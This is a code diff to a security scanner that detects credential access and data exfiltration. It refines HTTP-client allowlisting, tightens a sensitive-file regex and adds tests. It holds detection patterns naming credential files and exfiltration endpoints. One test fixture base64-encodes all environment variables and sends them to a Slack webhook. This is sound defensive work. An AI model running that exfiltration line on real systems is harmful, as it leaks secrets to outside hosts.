diff --git a/scanner/package.json b/scanner/package.json
index a71b58fe..124e22b1 100644
--- a/scanner/package.json
+++ b/scanner/package.json
@@ -8,7 +8,8 @@
     "build": "tsc",
     "start": "node dist/index.js",
     "dev": "tsx watch src/index.ts",
-    "scan": "tsx src/cli.ts"
+    "scan": "tsx src/cli.ts",
+    "test": "tsx --test src/**/*.test.ts"
   },
   "keywords": ["isnad", "scanner", "security", "ai", "agents"],
   "license": "MIT",
diff --git a/scanner/src/analyzer.http-clients.test.ts b/scanner/src/analyzer.http-clients.test.ts
new file mode 100644
index 00000000..46d3e030
--- /dev/null
+++ b/scanner/src/analyzer.http-clients.test.ts
@@ -0,0 +1,59 @@
+import assert from 'node:assert/strict';
+import test from 'node:test';
+import { analyzeContent } from './analyzer.js';
+
+function patternIds(content: string): string[] {
+  return analyzeContent(content).findings.map(finding => finding.patternId);
+}
+
+test('does not flag safe-domain dynamic fetch usage as exfiltration', () => {
+  const content = `
+const apiBase = "https://api.github.com";
+const url = \`\${apiBase}/repos/octocat/Hello-World\`;
+await fetch(url, { method: "GET" });
+`;
+
+  const ids = patternIds(content);
+  assert.equal(ids.includes('EXFIL_FETCH_DYNAMIC'), false);
+});
+
+test('does not flag standard axios and node-fetch clients as exfiltration', () => {
+  const content = `
+import axios from "axios";
+import fetch from "node-fetch";
+
+const client = axios.create({ baseURL: "https://api.openai.com" });
+await client.get("/v1/models");
+
+const healthUrl = "https://pypi.org/simple";
+await fetch(healthUrl);
+`;
+
+  const ids = patternIds(content);
+  assert.equal(ids.includes('EXFIL_FETCH_DYNAMIC'), false);
+  assert.equal(ids.includes('EXFIL_WEBHOOK'), false);
+});
+
+test('does not treat process.env usage as sensitive file access', () => {
+  const content = `
+const apiBase = process.env.API_BASE_URL;
+const timeout = process.env.REQUEST_TIMEOUT ?? "5000";
+`;
+
+  const ids = patternIds(content);
+  assert.equal(ids.includes('CRED_FILE_READ'), false);
+  assert.equal(ids.includes('CRED_ENV_ACCESS'), true);
+});
+
+test('still flags obfuscated credential exfiltration attempts', () => {
+  const content = `
+const payload = Buffer.from(JSON.stringify(process.env)).toString("base64");
+await fetch(\`https://hooks.slack.com/services/\${payload}\`);
+`;
+
+  const result = analyzeContent(content);
+  const ids = result.findings.map(finding => finding.patternId);
+  assert.equal(ids.includes('EXFIL_WEBHOOK'), true);
+  assert.equal(ids.includes('EXFIL_BASE64_SEND'), true);
+  assert.equal(result.riskLevel === 'high' || result.riskLevel === 'critical', true);
+});
diff --git a/scanner/src/analyzer.ts b/scanner/src/analyzer.ts
index 7ea15a93..913f59c8 100644
--- a/scanner/src/analyzer.ts
+++ b/scanner/src/analyzer.ts
@@ -48,6 +48,54 @@ const RISK_THRESHOLDS = {
   low: 10
 };
 
+const HTTP_CLIENT_HINT = /\b(axios|node-fetch|fetch|requests\.(get|post|put|patch|delete|request)|urllib3\.)/i;
+const SUSPICIOUS_HTTP_HINT =
+  /(process\.env|document\.cookie|localStorage|sessionStorage|webhook|hooks\.slack\.com|discord\.com\/api\/webhooks|requestbin|pipedream|ngrok\.io|btoa\s*\(|toString\s*\(\s*['"`]base64)/i;
+const API_PATH_HINT = /\/(api|v\d+|health|status|repos|users|simple|graphql)\b/i;
+
+function inAllowlistedContext(
+  pattern: Pattern,
+  lines: string[],
+  lineNumber: number,
+  contextLine: string
+): boolean {
+  const basicAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern => {
+    const flags = allowPattern.flags.replaceAll('g', '');
+    return new RegExp(allowPattern.source, flags).test(contextLine);
+  });
+
+  if (basicAllowlisted) {
+    return true;
+  }
+
+  if (pattern.id === 'EXFIL_FETCH_DYNAMIC') {
+    return isLikelyLegitimateHttpClientUsage(lines, lineNumber);
+  }
+
+  return false;
+}
+
+function isLikelyLegitimateHttpClientUsage(lines: string[], lineNumber: number): boolean {
+  const start = Math.max(0, lineNumber - 3);
+  const end = Math.min(lines.length, lineNumber + 2);
+  const contextWindow = lines.slice(start, end).join('\n');
+
+  if (!HTTP_CLIENT_HINT.test(contextWindow)) {
+    return false;
+  }
+
+  if (SUSPICIOUS_HTTP_HINT.test(contextWindow)) {
+    return false;
+  }
+
+  const hasSafeDomain = SAFE_DOMAINS.some(domain =>
+    contextWindow.toLowerCase().includes(domain.toLowerCase())
+  );
+  const hasApiPathHint = API_PATH_HINT.test(contextWindow);
+
+  return hasSafeDomain || hasApiPathHint;
+}
+
 /**
  * Analyze content for security issues
  */
@@ -72,9 +120,7 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis
       const contextLine = lines[lineNumber - 1] || '';
 
       // Check if this is in an allowlisted context
-      const isAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern => 
-        allowPattern.test(contextLine)
-      );
+      const isAllowlisted = inAllowlistedContext(pattern, lines, lineNumber, contextLine);
 
       if (!isAllowlisted) {
         findings.push({
diff --git a/scanner/src/patterns.ts b/scanner/src/patterns.ts
index f2e61e23..5504c586 100644
--- a/scanner/src/patterns.ts
+++ b/scanner/src/patterns.ts
@@ -86,7 +86,7 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
     name: 'Sensitive File Read',
     description: 'Reading potentially sensitive files',
     severity: 'high',
-    pattern: /(\.env|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)/gi,
+    pattern: /(?:^|[\\/\s'"`])(?:\.env(?:\.[\w.-]+)?|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)(?:$|[\\/\s'"`])/gi,
     category: 'credential_access'
   },
   {
@@ -192,9 +192,8 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
  */
 export const ALLOWLIST_PATTERNS = [
   // Common legitimate uses
-  /console\.(log|error|warn|info)/gi,
-  /JSON\.(parse|stringify)/gi,
-  /Math\.(random|floor|ceil)/gi,
+  /console\.(log|error|warn|info)/i,
+  /Math\.(random|floor|ceil)/i,
 ];
 
 /**